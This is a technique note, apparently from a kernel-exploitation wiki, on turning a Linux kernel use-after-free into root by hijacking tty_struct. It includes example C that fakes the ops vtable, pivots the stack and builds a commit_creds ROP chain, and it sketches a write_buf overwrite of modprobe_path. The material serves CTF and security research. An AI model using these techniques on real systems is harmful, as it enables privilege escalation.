tty_struct
This struct is an essential data structure in Linux kernel to manage pseudo terminals. tty_struct is allocated whenever pseudo terminals like bash are opened (opening /dev/ptmx )in user space.
1. Structure
The tty_struct is defined in include/linux/tty.h
struct tty_struct {
struct kref kref;
int index;
struct device *dev;
struct tty_driver *driver;
struct tty_port *port;
const struct tty_operations *ops;
struct tty_ldisc *ldisc;
struct ld_semaphore ldisc_sem;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
struct ktermios termios, termios_locked;
char name[64];
unsigned long flags;
int count;
unsigned int receive_room;
struct winsize winsize;
struct {
spinlock_t lock;
bool stopped;
bool tco_stopped;
} flow;
struct {
struct pid *pgrp;
struct pid *session;
spinlock_t lock;
unsigned char pktstatus;
bool packet;
} ctrl;
bool hw_stopped;
bool closing;
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock;
int write_cnt;
u8 *write_buf;
struct list_head tty_files;
struct work_struct SAK_work;
} __randomize_layout;
- The tty_struct->ops is an important pointer in the struct that points to a vtable that is used for lookup when operations like ioctl is called on /dev/ptmx device
2. Requirements
- UAF and write primitive in
kmalloc-1024 - If only read primitive, then KASLR could be bypassed by reading the tty_struct->ops pointer.
- UAF on kmalloc-32
- This UAF can be used to leak tty_struct address which is essential to plant ROP chains on tty_struct
- The tty_struct *tty points to tty_struct pointer
struct tty_file_private { struct tty_struct *tty; struct file *file; struct list_head list; };
3. Exploitation
- ROP
- Once the
tty_structis sprayed into thekmalloc-1024and kernel base addresses are leaked, the final stage involves hijacking control flow and executing a ROP chain to escalate privileges and safely return to user space. - #rop — see ROP for chain construction basics and RopBot-Angrop for automated gadget discovery
- Once the
- When an application calls
ioctl()on/dev/ptmx, the kernel dispatches execution totty_ioctl, which relies on thetty_operationsvtable pointer inside thetty_struct
tty->ops->ioctl
-
By utilizing the
kmalloc-1024write primitive, we overwrite elements inside the reclaimedtty_struct:-
Fake Vtable Pointer (
buf[4]): We redirect theopspointer to a controlled region within the heap object itself (heap_ptr + 0x130 - 0x60), forcing the kernel to look up the.ioctlfunction pointer inside data we completely control. -
Stack Pivoting (
leave_ret/pop_rsp_ret): When the kernel attempts to execute the fake.ioctlhandler, it triggers a stack pivot gadget (leave; retorpop rsp). This switches the kernel stack pointer (RSP) from its original location to our precise ROP channel buffer embedded directly inside the heap (rop_chan = heap_ptr + 0x170).
-
- How
ioctlcall leads to stack pivot ?-
The default switch case of ioctl handler execuctes the pointer from vtable
-
default: retval = tty_jobctrl_ioctl(tty, real_tty, file, cmd, arg); if (retval != -ENOIOCTLCMD) return retval; } if (tty->ops->ioctl) { retval = tty->ops->ioctl(tty, cmd, arg); if (retval != -ENOIOCTLCMD) return retval; } ld = tty_ldisc_ref_wait(tty); if (!ld) return hung_up_tty_ioctl(file, cmd, arg); retval = -EINVAL; if (ld->ops->ioctl) { retval = ld->ops->ioctl(tty, cmd, arg); if (retval == -ENOIOCTLCMD) retval = -ENOTTY; } tty_ldisc_deref(ld);
-
- Example
uint64_t tty_ops = buf[4]; uint64_t prepare_kernel_cred = tty_ops - 18658528; uint64_t commit_cred = tty_ops - 18659216; uint64_t rop_chain = heap_ptr + 0x170; // Overwrite tty->ops->ioctl with gadget // tty->ops->ioctl is at +0x60 from tty->ops // Plant rop chain at tty_strct + 368 and stack pivot to it // heap_ptr is the tty_struct address buf[4] =heap_ptr + 0x130 - 0x60; // tty_struct->ops = heap_ptr + 0x130 - 0x60 buf[38] = leave_ret; buf[1] = pop_rsp_ret; //tty_struct->dev buf[2] = rop_chain; //tty_struct->driver //Rop chain buf[46] = pop_rdi; buf[47] = init_task; buf[48] = prepare_kernel_cred; buf[49] = swapgs; ... ... ...
4. How to?
void main(){
trigger_UAF();
fd = open("/dev/ptmx",O_RDWR); // tty_struct lands on UAF object
overwrtie_ttystruct();
ioctl(fd,0x0,0x0);
}
5. Another technique?
- Yes, there are multiple ways to abuse this struct.
- It is also possible to overwrite tty_struct->write_cnt and tty_struct->write_buf and achieve arbitrary write primitive which is quite enough to quickly overwrite modprobe_path and escalate privileges
- Read this blog for detailed walk through: https://ghost-ss.com/tfc_2025_slots/index.html
void main(){
fd = open("/dev/ptmx",O_RDWR);
overwrite write_cnt_and_write_buf();
write(fd,<datatooverwrite>,<sizeofdata>);
}
References: https://github.com/smallkirby/kernelpwn/blob/master/technique/tty_struct.md